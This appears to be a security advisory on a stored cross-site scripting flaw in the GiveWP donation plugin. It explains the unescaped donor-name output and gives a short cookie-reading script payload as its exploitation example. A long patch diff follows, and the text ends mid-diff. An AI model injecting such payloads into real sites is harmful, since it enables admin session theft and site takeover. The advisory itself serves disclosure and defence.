Published : August 13, 2026

CVE-2026-73357: GiveWP – Donation Plugin and Fundraising Platform < 4.16.6 Authenticated (Donor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin give
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.16.6
Patched Version 4.16.6
Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-73357: This vulnerability is a Stored Cross-Site Scripting (XSS) issue in the GiveWP – Donation Plugin and Fundraising Platform for WordPress, affecting versions prior to 4.16.6. An authenticated attacker with donor-level access can inject arbitrary web scripts that execute whenever a user accesses an affected page, such as the admin donor notes view. The vulnerability carries a CVSS score of 6.4, indicating a significant security risk to the integrity of the site.

Root Cause: The root cause lies in the insufficient output escaping of the donor name in two specific admin views. The vulnerable code is in the ‘give/includes/admin/donors/donors.php’ file. Specifically, in the ‘give_donor_notes_view’ function, the donor name is echoed without sanitization: `echo $donor->name;`. This is also present in the ‘give_donor_delete_view’ function. The ‘name’ property originates from user-controlled input during the donation or donor profile registration process. Since the patch only escapes the output, the lack of validation on input allows the stored payload to persist.

Exploitation: An authenticated user with at least a ‘donor’ role can exploit this vulnerability. The attacker first registers a new user or updates their donor profile with a `name` field containing a malicious XSS payload, for example `alert(document.cookie)`. Once the admin views the donor list and clicks on this donor’s notes or delete page, the server renders the page. The vulnerable code in the ‘donors.php’ file outputs the `$donor->name` without escaping, causing the stored script to execute in the context of the admin’s browser session. This allows the attacker to steal admin cookies, perform unintended actions, or deface the admin dashboard.

Patch Analysis: The patch directly addresses the XSS by applying the `esc_html()` function to the output in both vulnerable locations. In ‘give/includes/admin/donors/donors.php’, the lines were changed from `name; ?>` to `name ); ?>` in the donor notes header and the delete donor view. This output escaping neutralizes any HTML or JavaScript within the donor’s name. The patch also includes additional hardening measures, such as nonce checks, input validation, and capability checks on other functions, which may inadvertently break the XSS chain or mitigate related attack vectors.

Impact: Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the context of a WordPress administrator’s session. This can lead to full site compromise, as the attacker can steal session tokens, create new admin accounts, modify site content, inject malicious redirects, or exfiltrate sensitive data. The impact is not limited to the donor page; the stored payload executes on any page that renders the donor name, including the admin dashboard, amplifying the severity of the attack.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/give/build/assets/dist/js/donor-dashboards-app.asset.php
+++ b/give/build/assets/dist/js/donor-dashboards-app.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-i18n'), 'version' => '2423c58a36d381d3b0f4');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-i18n'), 'version' => '0e33a3dfff2319a4aaab');
--- a/give/give.php
+++ b/give/give.php
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.16.5.1
+ * Version: 4.16.6
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -426,7 +426,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.16.5.1');
+            define('GIVE_VERSION', '4.16.6');
         }

         // Plugin Root File.
--- a/give/includes/actions.php
+++ b/give/includes/actions.php
@@ -98,11 +98,16 @@
  * @param  int   $user_id   User ID.
  * @param  array $user_data User Data.
  *
+ * @since 4.16.6 Only auto-link when registered via the donation-checkout flow.
  * @since  1.7
  *
  * @return void
  */
 function give_connect_donor_to_wpuser( $user_id, $user_data ) {
+	if ( empty( $user_data['give_donation_checkout_registration'] ) ) {
+		return;
+	}
+
 	/* @var Give_Donor $donor */
 	$donor = new Give_Donor( $user_data['user_email'] );

--- a/give/includes/admin/add-ons/actions.php
+++ b/give/includes/admin/add-ons/actions.php
@@ -19,19 +19,21 @@
  *
  * Note: only for internal use
  *
+ * @since 4.16.6 Use Plugin_Upgrader to install/update the add-on, replacing unreliable
+ *            filename-based pre-existing checks and post-install detection.
  * @since 2.5.0
  */
 function give_upload_addon_handler() {
-	/* @var WP_Filesystem_Direct $wp_filesystem */
-	global $wp_filesystem;
+	if ( ! isset( $_FILES['file']['name'] ) ) {
+		wp_send_json_error( [ 'errorMsg' => __( 'No file was uploaded.', 'give' ) ] );
+	}

-	check_admin_referer( 'give-upload-addon' );
+	if ( UPLOAD_ERR_OK !== $_FILES['file']['error'] ) {
+		wp_send_json_error( [ 'errorMsg' => __( 'The file upload failed. Please try again.', 'give' ) ] );
+	}

-	// Remove version from file name.
-	$filename = preg_replace( [ '/(d).zip/', '/(.d).*[(d)]/' ], '', $_FILES['file']['name'] );
-	$filename = basename( trim( $filename ), '.zip' );
+	check_admin_referer( 'give-upload-addon' );

-	// Bailout if user does not has permission.
 	if ( ! current_user_can( 'upload_plugins' ) ) {
 		wp_send_json_error( [ 'errorMsg' => __( 'The current user does not have permission to upload plugins on this site.', 'give' ) ] );
 	}
@@ -43,7 +45,7 @@
 			[
 				'errorMsg' => sprintf(
 					__( 'In order to upload add-ons here, GiveWP needs direct access to the file system. Please <a href="%1$s" target="_blank">visit the main plugin page</a> to manually upload the add-on.', 'give' ),
-					admin_url( 'plugin-install.php?tab=upload' )
+					esc_url( admin_url( 'plugin-install.php?tab=upload' ) )
 				),
 			]
 		);
@@ -55,78 +57,84 @@
 		wp_send_json_error( [ 'errorMsg' => __( 'Uploaded add-ons must be (zipped) ZIP files. Upload a valid add-on ZIP.', 'give' ) ] );
 	}

-	$give_addons_list   = give_get_plugins();
-	$is_addon_installed = [];
+	// Snapshot existing Give add-ons for diff after installation.
+	$pre_addons_list = give_get_plugins( [ 'only_add_on' => true ] );
+
+	// Detect the plugin folder name from the ZIP to check for an existing installation.
+	$zip_folder = give_get_zip_plugin_folder( $_FILES['file']['tmp_name'] );

-	if ( ! empty( $give_addons_list ) ) {
-		foreach ( $give_addons_list as $addon => $give_addon ) {
-			if ( false !== stripos( $addon, $filename ) ) {
-				$is_addon_installed = $give_addon;
+	if ( ! empty( $zip_folder ) && ! empty( $pre_addons_list ) ) {
+		foreach ( $pre_addons_list as $addon_path => $addon_data ) {
+			if ( strpos( $addon_path, $zip_folder . '/' ) === 0 ) {
+				wp_send_json_error(
+					[
+						'errorMsg'   => __( 'This add-on is already installed.', 'give' ),
+						'pluginInfo' => $addon_data,
+					]
+				);
 			}
 		}
 	}

-	// Bailout  if addon already installed
-	if ( ! empty( $is_addon_installed ) ) {
-		wp_send_json_error(
-			[
-				'errorMsg'   => __( 'This add-on is already installed.', 'give' ),
-				'pluginInfo' => $is_addon_installed,
-			]
-		);
+	// Install the plugin using the WordPress upgrader.
+	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';
+	require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';
+	require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
+	require_once ABSPATH . 'wp-admin/includes/plugin.php';
+
+	$skin     = new Automatic_Upgrader_Skin();
+	$upgrader = new Plugin_Upgrader( $skin );
+
+	$buffer_level = ob_get_level();
+
+	$result = $upgrader->install( $_FILES['file']['tmp_name'] );
+
+	while ( ob_get_level() > $buffer_level ) {
+		// A non-removable buffer, such as zlib, would loop until the request times out.
+		if ( ! @ob_end_clean() ) {
+			break;
+		}
 	}

-	$upload_status = wp_handle_upload( $_FILES['file'], [ 'test_form' => false ] );
-
-	// Bailout if has any upload error
-	if ( empty( $upload_status['file'] ) ) {
-		wp_send_json_error( $upload_status );
+	if ( is_wp_error( $result ) ) {
+		wp_send_json_error( [ 'errorMsg' => $result->get_error_message() ] );
 	}

-	// @todo: check how WordPress verify plugin files before uploading to plugin directory
-
-	/* you can safely run request_filesystem_credentials() without any issues and don't need to worry about passing in a URL */
-	$creds = request_filesystem_credentials( site_url() . '/wp-admin/', '', false, false, [] );
+	if ( ! $result ) {
+		$error_message = is_wp_error( $skin->result )
+			? $skin->result->get_error_message()
+			: __( 'The add-on could not be installed. Please try again or upload it manually.', 'give' );

-	/* initialize the API */
-	if ( ! WP_Filesystem( $creds ) ) {
-		/* any problems and we exit */
-		wp_send_json_error(
-			[
-				'errorMsg' => __( 'The file system did not load correctly. This is usually a permissions issue on your server, and not something that GiveWP has control over. Try uploading the ZIP like a regular plugin.', 'give' ),
-			]
-		);
+		wp_send_json_error( [ 'errorMsg' => $error_message ] );
 	}

-	$unzip_status = unzip_file( $upload_status['file'], $wp_filesystem->wp_plugins_dir() );
+	// Refresh the plugin cache and find the newly installed or updated plugin.
+	wp_clean_plugins_cache( true );
+
+	$post_addons_list = give_get_plugins( [ 'only_add_on' => true ] );
+	$new_plugins      = array_diff_key( $post_addons_list, $pre_addons_list );
+
+	$installed_addon = [];

-	// Remove file.
-	@unlink( $upload_status['file'] );
+	if ( ! empty( $new_plugins ) ) {
+		$new_plugin_path         = array_key_first( $new_plugins );
+		$installed_addon         = $new_plugins[ $new_plugin_path ];
+		$installed_addon['path'] = $new_plugin_path;
+	}

-	// Bailout if not able to unzip file successfully
-	if ( is_wp_error( $unzip_status ) ) {
+	if ( empty( $installed_addon ) ) {
 		wp_send_json_error(
 			[
-				'errorMsg' => $unzip_status,
+				'errorMsg' => sprintf(
+					/* translators: %1$s: URL to the plugins page */
+					__( 'The add-on was uploaded but GiveWP could not detect it. Please <a href="%1$s">visit the plugins page</a> to activate it manually.', 'give' ),
+					esc_url( admin_url( 'plugins.php' ) )
+				),
 			]
 		);
 	}

-	// Delete cache and get current installed addon plugin path.
-	wp_clean_plugins_cache( true );
-
-	$give_addons_list = give_get_plugins();
-	$installed_addon  = [];
-
-	if ( ! empty( $give_addons_list ) ) {
-		foreach ( $give_addons_list as $addon => $give_addon ) {
-			if ( false !== stripos( $addon, $filename ) ) {
-				$installed_addon         = $give_addon;
-				$installed_addon['path'] = $addon;
-			}
-		}
-	}
-
 	wp_send_json_success(
 		[
 			'pluginPath'         => $installed_addon['path'],
@@ -137,6 +145,56 @@
 	);
 }

+/**
+ * Reads the top-level directory name from a plugin ZIP file.
+ *
+ * Returns the single top-level directory name inside the ZIP (e.g. "give-recurring").
+ * Returns an empty string if the ZIP can't be read or contains multiple top-level items.
+ *
+ * @since 4.16.6
+ *
+ * @param string $zip_file Absolute path to the ZIP file.
+ *
+ * @return string Plugin folder name, or empty string on failure.
+ */
+function give_get_zip_plugin_folder( $zip_file ) {
+	if ( ! file_exists( $zip_file ) || ! class_exists( 'ZipArchive' ) ) {
+		return '';
+	}
+
+	$zip = new ZipArchive();
+
+	if ( true !== $zip->open( $zip_file ) ) {
+		return '';
+	}
+
+	$folder = '';
+
+	for ( $i = 0; $i < $zip->numFiles; $i++ ) {
+		$entry = $zip->getNameIndex( $i );
+		$parts = explode( '/', $entry );
+
+		// Skip macOS metadata folders.
+		if ( isset( $parts[0] ) && '__MACOSX' === $parts[0] ) {
+			continue;
+		}
+
+		if ( count( $parts ) > 1 && '' !== $parts[0] ) {
+			if ( '' === $folder ) {
+				$folder = $parts[0];
+			} elseif ( $folder !== $parts[0] ) {
+				// Multiple top-level directories — ambiguous.
+				$folder = '';
+				break;
+			}
+		}
+	}
+
+	$zip->close();
+
+	return $folder;
+}
+
 add_action( 'wp_ajax_give_upload_addon', 'give_upload_addon_handler' );

 /**
@@ -315,6 +373,8 @@
  *
  * Note: only for internal use
  *
+ * @since 4.16.6 Guard against empty or invalid plugin paths that previously bypassed
+ *            the nonce and capability checks.
  * @since 2.5.0
  */
 function give_activate_addon_handler() {
@@ -327,6 +387,42 @@
 		give_die();
 	}

+	if ( empty( $plugin_path ) ) {
+		wp_send_json_error(
+			[
+				'errorMsg' => __( 'No plugin path was provided. The uploaded plugin may not have been detected correctly.', 'give' ),
+			]
+		);
+	}
+
+	$plugin_file = WP_PLUGIN_DIR . '/' . $plugin_path;
+
+	if ( ! file_exists( $plugin_file ) ) {
+		wp_send_json_error(
+			[
+				'errorMsg' => sprintf(
+					/* translators: %1$s: plugin file path */
+					__( 'The plugin file "%1$s" could not be found. The add-on may not have been extracted correctly.', 'give' ),
+					esc_html( $plugin_path )
+				),
+			]
+		);
+	}
+
+	$plugin_data = get_plugin_data( $plugin_file );
+
+	if ( empty( $plugin_data['Name'] ) ) {
+		wp_send_json_error(
+			[
+				'errorMsg' => sprintf(
+					/* translators: %1$s: plugin file path */
+					__( 'The plugin "%1$s" does not have a valid plugin header. The add-on may be corrupted or incompatible.', 'give' ),
+					esc_html( $plugin_path )
+				),
+			]
+		);
+	}
+
 	$status = activate_plugin( $plugin_path );

 	if ( is_wp_error( $status ) ) {
--- a/give/includes/admin/donors/donors.php
+++ b/give/includes/admin/donors/donors.php
@@ -1041,6 +1041,7 @@
 /**
  * View the notes of a donor.
  *
+ * @since 4.16.6 Escaped the donor name output in the donor notes header.
  * @since 4.6.0 Escape donor note
  * @since  1.0
  *
@@ -1060,7 +1061,7 @@

 	<div id="donor-notes-wrapper">
 		<div class="donor-notes-header">
-			<?php echo get_avatar( $donor->email, 30 ); ?> <span><?php echo $donor->name; ?></span>
+			<?php echo get_avatar( $donor->email, 30 ); ?> <span><?php echo esc_html( $donor->name ); ?></span>
 		</div>
 		<h3><?php _e( 'Notes', 'give' ); ?></h3>

@@ -1116,6 +1117,7 @@
 /**
  * The donor delete view.
  *
+ * @since 4.16.6 Escaped the donor name output in the delete donor view.
  * @since  1.0
  *
  * @param  object $donor The donor object being displayed.
@@ -1142,7 +1144,7 @@
 			  action="<?php echo admin_url( 'edit.php?post_type=give_forms&page=give-donors&view=delete&id=' . $donor->id ); ?>">

 			<div class="donor-notes-header">
-				<?php echo get_avatar( $donor->email, 30 ); ?> <span><?php echo $donor->name; ?></span>
+				<?php echo get_avatar( $donor->email, 30 ); ?> <span><?php echo esc_html( $donor->name ); ?></span>
 			</div>


--- a/give/includes/admin/emails/class-email-notifications.php
+++ b/give/includes/admin/emails/class-email-notifications.php
@@ -314,11 +314,16 @@
 	 * Add header to donation receipt email preview
 	 *
 	 * @since   2.0
+	 * @since 4.16.6 Re-check capability/nonce here, since this callback is also reachable via a direct action dispatch that bypasses the check normally done in preview_email().
 	 * @access  public
 	 *
 	 * @param Give_Email_Notification $email
 	 */
 	public function email_preview_header( $email ) {
+		if ( ! Give_Email_Notification_Util::can_preview_email() ) {
+			return;
+		}
+
 		/**
 		 * Filter the all email preview headers.
 		 *
--- a/give/includes/database/class-give-db-donors.php
+++ b/give/includes/database/class-give-db-donors.php
@@ -488,12 +488,18 @@
 	 * Note: This function is for internal purposes only. Don't use this function as it will be deprecated soon.
 	 *
 	 * @param int $id Email Access Token ID.
-	 *
+	 * @since 4.16.6 Require a non-empty, scalar string token before querying.
 	 * @since 2.3.1
 	 *
 	 * @return object
 	 */
 	public function get_donor_by_token( $id ) {
+		// Require a non-empty, scalar string token: every donor row defaults to
+		// verify_key = '' until they request their own access link.
+		if ( ! is_string( $id ) || '' === $id ) {
+			return null;
+		}
+
 		global $wpdb;
 		$row = $wpdb->get_row(
 			$wpdb->prepare( "SELECT * FROM {$wpdb->donors} WHERE verify_key = %s LIMIT 1", $id )
--- a/give/includes/gateways/actions.php
+++ b/give/includes/gateways/actions.php
@@ -14,6 +14,9 @@
 	exit;
 }

+use GiveHelpersFormUtils as FormUtils;
+use GiveHelpersFrontendShortcode as ShortcodeUtils;
+
 /**
  * Processes gateway select on checkout. Only for users without ajax / javascript
  *
@@ -75,6 +78,7 @@
  *
  * Use give_donation_form_nonce() js fn to create nonce.
  *
+ * @since 4.16.6 Bail early when the form ID is not a give_forms post or is a Visual Form Builder (v3) form.
  * @since 2.0
  *
  * @return void
@@ -85,6 +89,15 @@
 		// Get donation form id.
 		$form_id = is_numeric( $_POST['give_form_id'] ) ? absint( $_POST['give_form_id'] ) : 0;

+		if ( ! ShortcodeUtils::isValidForm( $form_id ) ) {
+			wp_send_json_error( [ 'error' => 'give_invalid_donation_form' ], 400 );
+		}
+
+		// Visual Form Builder (v3) forms use route signatures instead of the legacy nonce endpoint.
+		if ( FormUtils::isV3Form( $form_id ) ) {
+			wp_send_json_error( [ 'error' => 'give_unsupported_form_version' ], 400 );
+		}
+
 		// Send nonce json data.
 		wp_send_json_success( wp_create_nonce( "give_donation_form_nonce_{$form_id}" ) );
 	}
@@ -98,6 +111,7 @@
  * Create all nonce of donation form using Ajax call.
  * Note: only for internal use
  *
+ * @since 4.16.6 Bail early when the form ID is not a give_forms post.
  * @since 4.9.0 rename function - PHP 8 compatibility
  * @since 2.2.0
  *
@@ -109,6 +123,10 @@
 		// Get donation form id.
 		$form_id = is_numeric( $_POST['give_form_id'] ) ? absint( $_POST['give_form_id'] ) : 0;

+		if ( ! ShortcodeUtils::isValidForm( $form_id ) ) {
+			wp_send_json_error( [ 'error' => 'give_invalid_donation_form' ], 400 );
+		}
+
 		$data = array(
 			'give_form_hash'               => wp_create_nonce( "give_donation_form_nonce_{$form_id}" ),
 			'give_form_user_register_hash' => wp_create_nonce( "give_form_create_user_nonce_{$form_id}" ),
--- a/give/includes/login-register.php
+++ b/give/includes/login-register.php
@@ -224,6 +224,7 @@
 /**
  * Process Register Form
  *
+ * @since 4.16.6 Require a valid nonce before processing registration.
  * @since 2.0
  *
  * @param array $data Data sent from the register form
@@ -240,6 +241,10 @@
 		return false;
 	}

+	if ( empty( $data['give_register_nonce'] ) || ! wp_verify_nonce( $data['give_register_nonce'], 'give-register-nonce' ) ) {
+		return false;
+	}
+
 	/**
 	 * Fires before processing user registration.
 	 *
--- a/give/includes/misc-functions.php
+++ b/give/includes/misc-functions.php
@@ -693,6 +693,8 @@
  * @param int $donation_id Donation ID.
  *
  * @return bool Whether the receipt is visible or not.
+
+ * @since 4.16.6 Require the give_nl cookie to be a scalar string before using it as a donor lookup token.
  * @since 1.3.2
  */
 function give_can_view_receipt( $donation_id ) {
@@ -745,7 +747,11 @@

 		// Check whether it is receipt access session?
 		$receipt_session    = give_get_receipt_session();
-		$email_access_token = ! empty( $_COOKIE['give_nl'] ) ? give_clean( $_COOKIE['give_nl'] ) : false;
+		// The give_nl cookie must be a scalar string token; give_clean() does not coerce arrays
+		// to a string, so require is_string() explicitly before treating it as a token.
+		$email_access_token = ! empty( $_COOKIE['give_nl'] ) && is_string( $_COOKIE['give_nl'] )
+			? give_clean( $_COOKIE['give_nl'] )
+			: false;

 		if (
 			! empty( $receipt_session ) ||
--- a/give/includes/process-donation.php
+++ b/give/includes/process-donation.php
@@ -9,6 +9,8 @@
  * @since       1.0
  */

+use GiveHelpersFormUtils as FormUtils;
+use GiveHelpersFrontendShortcode as ShortcodeUtils;
 use GiveHelpersUtils;

 // Exit if accessed directly.
@@ -22,6 +24,7 @@
  * Handles the donation form process.
  *
  * @access private
+ * @since 4.16.6 Bail early when the form ID is not a give_forms post or is a Visual Form Builder (v3) form.
  * @since 3.16.1 Use give_maybe_safe_unserialize() on $user_info data
  * @since  1.0
  *
@@ -52,6 +55,46 @@
 		}
 	}

+	$form_id = isset( $post_data['give-form-id'] ) ? absint( $post_data['give-form-id'] ) : 0;
+
+	if ( ! ShortcodeUtils::isValidForm( $form_id ) ) {
+		give_set_error(
+			'give_invalid_donation_form',
+			__( 'The donation form ID is invalid. Please reload the page and try again.', 'give' )
+		);
+
+		if ( $is_ajax ) {
+			/** This action is documented in this file (see give_ajax_donation_errors above). */
+			do_action( 'give_ajax_donation_errors' );
+			give_die();
+			return;
+		}
+
+		give_send_back_to_checkout();
+
+		return false;
+	}
+
+	// Visual Form Builder (v3) forms are processed through the givewp-donate route,
+	// so bail out when the legacy donation processor receives one.
+	if ( FormUtils::isV3Form( $form_id ) ) {
+		give_set_error(
+			'give_unsupported_form_version',
+			__( 'This donation form cannot be processed through this endpoint. Please reload the page and try again.', 'give' )
+		);
+
+		if ( $is_ajax ) {
+			/** This action is documented in this file (see give_ajax_donation_errors above). */
+			do_action( 'give_ajax_donation_errors' );
+			give_die();
+			return;
+		}
+
+		give_send_back_to_checkout();
+
+		return false;
+	}
+
 	/**
 	 * Fires before processing the donation form.
 	 *
@@ -883,6 +926,7 @@
  * Donate Form Validate New User
  *
  * @access private
+ * @since 4.16.6 Flag data as coming from the checkout registration flow.
  * @since  1.0
  *
  * @return array
@@ -944,6 +988,9 @@
 		$valid_user_data['user_email'] = $user_data['give_email'];
 	}

+	// Mark this data as coming from the nonce-verified checkout flow.
+	$valid_user_data['give_donation_checkout_registration'] = true;
+
 	return $valid_user_data;
 }

--- a/give/src/API/REST/V3/Routes/Donors/DonorController.php
+++ b/give/src/API/REST/V3/Routes/Donors/DonorController.php
@@ -189,6 +189,7 @@
     /**
      * Update a single donor.
      *
+     * @since 4.16.6 Skip readonly schema properties when applying PATCH updates.
      * @since 4.8.0 Update donor name when firstName or lastName is updated
      * @since 4.7.0 Add support for updating custom fields
      * @since 4.4.0
@@ -203,14 +204,24 @@
             return new WP_REST_Response(__('Donor not found', 'give'), 404);
         }

-        $nonEditableFields = [
-            'id',
-            'userId',
-            'createdAt',
-        ];
+        $nonEditableFields = array_merge(
+            [
+                'id',
+                'userId',
+                'createdAt',
+            ],
+            array_keys(
+                array_filter(
+                    $this->get_item_schema()['properties'] ?? [],
+                    static function (array $property): bool {
+                        return ! empty($property['readonly']);
+                    }
+                )
+            )
+        );

         foreach ($request->get_params() as $key => $value) {
-            if (!in_array($key, $nonEditableFields)) {
+            if (! in_array($key, $nonEditableFields, true)) {
                 if ($donor->hasProperty($key)) {
                     if ($key === 'addresses') {
                         $donor->addresses = array_map(function ($address) {
--- a/give/src/DonorDashboards/Tabs/EditProfileTab/PasswordRoute.php
+++ b/give/src/DonorDashboards/Tabs/EditProfileTab/PasswordRoute.php
@@ -2,10 +2,10 @@

 namespace GiveDonorDashboardsTabsEditProfileTab;

-use GiveDonorDashboardsHelpersSanitizeProfileData as SanitizeHelper;
-use GiveDonorDashboardsProfile as Profile;
+use GiveDonorsModelsDonor;
 use GiveDonorDashboardsTabsContractsRoute as RouteAbstract;
 use WP_REST_Request;
+use WP_REST_Response;

 /**
  * @since 2.10.0
@@ -38,19 +38,46 @@
     /**
      * Handles password update.
      *
+     * @since 4.16.6 added password validation
      * @since 3.3.0
      *
      * @param WP_REST_Request $request
      *
-     * @return array
-     *
+     * @return array|WP_REST_Response
      */
     public function handleRequest(WP_REST_Request $request)
     {
-        wp_update_user([
-            'ID' => wp_get_current_user()->ID,
-            'user_pass' => $request->get_param('newPassword'),
-        ]);
+        $newPassword = trim($request->get_param('newPassword'));
+
+        if (empty($newPassword)) {
+            return new WP_REST_Response(
+                [
+                    'status' => 400,
+                    'response' => 'invalid_password',
+                    'body_response' => [
+                        'message' => esc_html__('Please enter a valid password.', 'give'),
+                    ],
+                ]
+            );
+        }
+
+        $donorId = give()->donorDashboard->getId();
+
+        $donor = Donor::find($donorId);
+
+        if ( ! $donor || empty($donor->userId)) {
+            return new WP_REST_Response(
+                [
+                    'status' => 400,
+                    'response' => 'no_user_account',
+                    'body_response' => [
+                        'message' => esc_html__('Unable to update password. Contact a site administrator.', 'give'),
+                    ],
+                ]
+            );
+        }
+
+        wp_set_password($newPassword, $donor->userId);

         return [
             'success' => true,
--- a/give/src/Helpers/Utils.php
+++ b/give/src/Helpers/Utils.php
@@ -216,6 +216,19 @@
          */
         $unserializedData = @unserialize(trim($data), ['allowed_classes' => false]);

+        /**
+         * Never return objects, not even as __PHP_Incomplete_Class instances. When a
+         * __PHP_Incomplete_Class is serialized again, PHP writes the original class bytes
+         * back, so returning it would re-arm the payload for the next unrestricted
+         * unserialize() call (e.g. the donation session storage). In that case, we return
+         * the data as a plain string instead, keeping it inert.
+         *
+         * @since 4.16.6
+         */
+        if (self::containsPhpIncompleteClass($unserializedData)) {
+            return $data;
+        }
+
         /*
          * In case the passed string is not unserializeable, false is returned.
          *
@@ -226,6 +239,33 @@
     }

     /**
+     * Recursively checks if the given data contains any __PHP_Incomplete_Class instance,
+     * which is what unserialize() produces for classes not present in allowed_classes.
+     *
+     * @since 4.16.6
+     *
+     * @param mixed $data Data to check, can be any type.
+     *
+     * @return bool True if a __PHP_Incomplete_Class instance is found at any nesting level.
+     */
+    public static function containsPhpIncompleteClass($data): bool
+    {
+        if ($data instanceof __PHP_Incomplete_Class) {
+            return true;
+        }
+
+        if (is_array($data) || is_object($data)) {
+            foreach ((array)$data as $value) {
+                if (self::containsPhpIncompleteClass($value)) {
+                    return true;
+                }
+            }
+        }
+
+        return false;
+    }
+
+    /**
      * Avoid insecure usage of `unserialize` when the data could be submitted by the user.
      *
      * @since 3.16.1
--- a/give/src/Onboarding/Wizard/FormPreview.php
+++ b/give/src/Onboarding/Wizard/FormPreview.php
@@ -47,11 +47,12 @@
      *
      * If the current page query matches the form preview's slug, method renders the form preview.
      *
+     * @since 4.16.6 add user capability check
      * @since 2.8.0
      **/
     public function setup_form_preview()
     {
-        if (empty($_GET['page']) || $this->slug !== $_GET['page']) { // WPCS: CSRF ok, input var ok.
+        if (empty($_GET['page']) || $this->slug !== $_GET['page'] || ! current_user_can('manage_give_settings')) { // WPCS: CSRF ok, input var ok.
             return;
         } else {
             $this->render_page();
--- a/give/templates/shortcode-register.php
+++ b/give/templates/shortcode-register.php
@@ -65,6 +65,7 @@
 			<input type="hidden" name="give_honeypot" value="" />
 			<input type="hidden" name="give_action" value="user_register" />
 			<input type="hidden" name="give_redirect" value="<?php echo esc_url( $give_register_redirect ); ?>" />
+			<input type="hidden" name="give_register_nonce" value="<?php echo wp_create_nonce( 'give-register-nonce' ); ?>" />
 		</div>

 		<div class="form-row">
--- a/give/vendor/composer/installed.php
+++ b/give/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.16.5.1',
-        'version' => '4.16.5.1',
-        'reference' => '9e6fb22903297b145592380b32bea304cd9e18ff',
+        'pretty_version' => '4.16.6',
+        'version' => '4.16.6.0',
+        'reference' => '2fe570100c08bbd3b0763c684fa0008bd48ecb89',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.16.5.1',
-            'version' => '4.16.5.1',
-            'reference' => '9e6fb22903297b145592380b32bea304cd9e18ff',
+            'pretty_version' => '4.16.6',
+            'version' => '4.16.6.0',
+            'reference' => '2fe570100c08bbd3b0763c684fa0008bd48ecb89',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -167,9 +167,9 @@
             'dev_requirement' => false,
         ),
         'stellarwp/harbor' => array(
-            'pretty_version' => 'v1.4.0',
-            'version' => '1.4.0.0',
-            'reference' => '0d21b6e6da4352364610168c053ed0ec9d59253d',
+            'pretty_version' => 'v1.6.0',
+            'version' => '1.6.0.0',
+            'reference' => 'e0253fa5512522a50dd73abe990d3591017494fb',
             'type' => 'library',
             'install_path' => __DIR__ . '/../stellarwp/harbor',
             'aliases' => array(),
--- a/give/vendor/vendor-prefixed/autoload-classmap.php
+++ b/give/vendor/vendor-prefixed/autoload-classmap.php
@@ -5,417 +5,418 @@
 $strauss_src = dirname(__FILE__);

 return array(
-   'GiveVendorsNyholmPsr7Uri' => $strauss_src . '/nyholm/psr7/src/Uri.php',
+   'GiveVendorsSymfonyComponentHttpFoundationRequestMatcher' => $strauss_src . '/symfony/http-foundation/RequestMatcher.php',
+   'GiveVendorsSymfonyComponentHttpFoundationAcceptHeader' => $strauss_src . '/symfony/http-foundation/AcceptHeader.php',
+   'GiveVendorsSymfonyComponentHttpFoundationExpressionRequestMatcher' => $strauss_src . '/symfony/http-foundation/ExpressionRequestMatcher.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileBag' => $strauss_src . '/symfony/http-foundation/FileBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationRequestMatcherInterface' => $strauss_src . '/symfony/http-foundation/RequestMatcherInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationRequest' => $strauss_src . '/symfony/http-foundation/Request.php',
+   'GiveVendorsSymfonyComponentHttpFoundationParameterBag' => $strauss_src . '/symfony/http-foundation/ParameterBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationRateLimiterAbstractRequestRateLimiter' => $strauss_src . '/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php',
+   'GiveVendorsSymfonyComponentHttpFoundationRateLimiterRequestRateLimiterInterface' => $strauss_src . '/symfony/http-foundation/RateLimiter/RequestRateLimiterInterface.php',
+   'GiveVendorsSymfonyComponentHttpFoundationIpUtils' => $strauss_src . '/symfony/http-foundation/IpUtils.php',
+   'GiveVendorsSymfonyComponentHttpFoundationJsonResponse' => $strauss_src . '/symfony/http-foundation/JsonResponse.php',
+   'GiveVendorsSymfonyComponentHttpFoundationServerBag' => $strauss_src . '/symfony/http-foundation/ServerBag.php',
+   'GiveVendorsSymfonyComponentHttpFoundationCookie' => $strauss_src . '/symfony/http-foundation/Cookie.php',
+   'GiveVendorsSymfonyComponentHttpFoundationStreamedResponse' => $strauss_src . '/symfony/http-foundation/StreamedResponse.php',
+   'GiveVendorsSymfonyComponentHttpFoundationUrlHelper' => $strauss_src . '/symfony/http-foundation/UrlHelper.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileUploadedFile' => $strauss_src . '/symfony/http-foundation/File/UploadedFile.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileStream' => $strauss_src . '/symfony/http-foundation/File/Stream.php',
+   'GiveVendorsSymfonyComponentHttpFoundationFileFile' => $strauss_src . '/symfony/http-foundation/File/File.php',
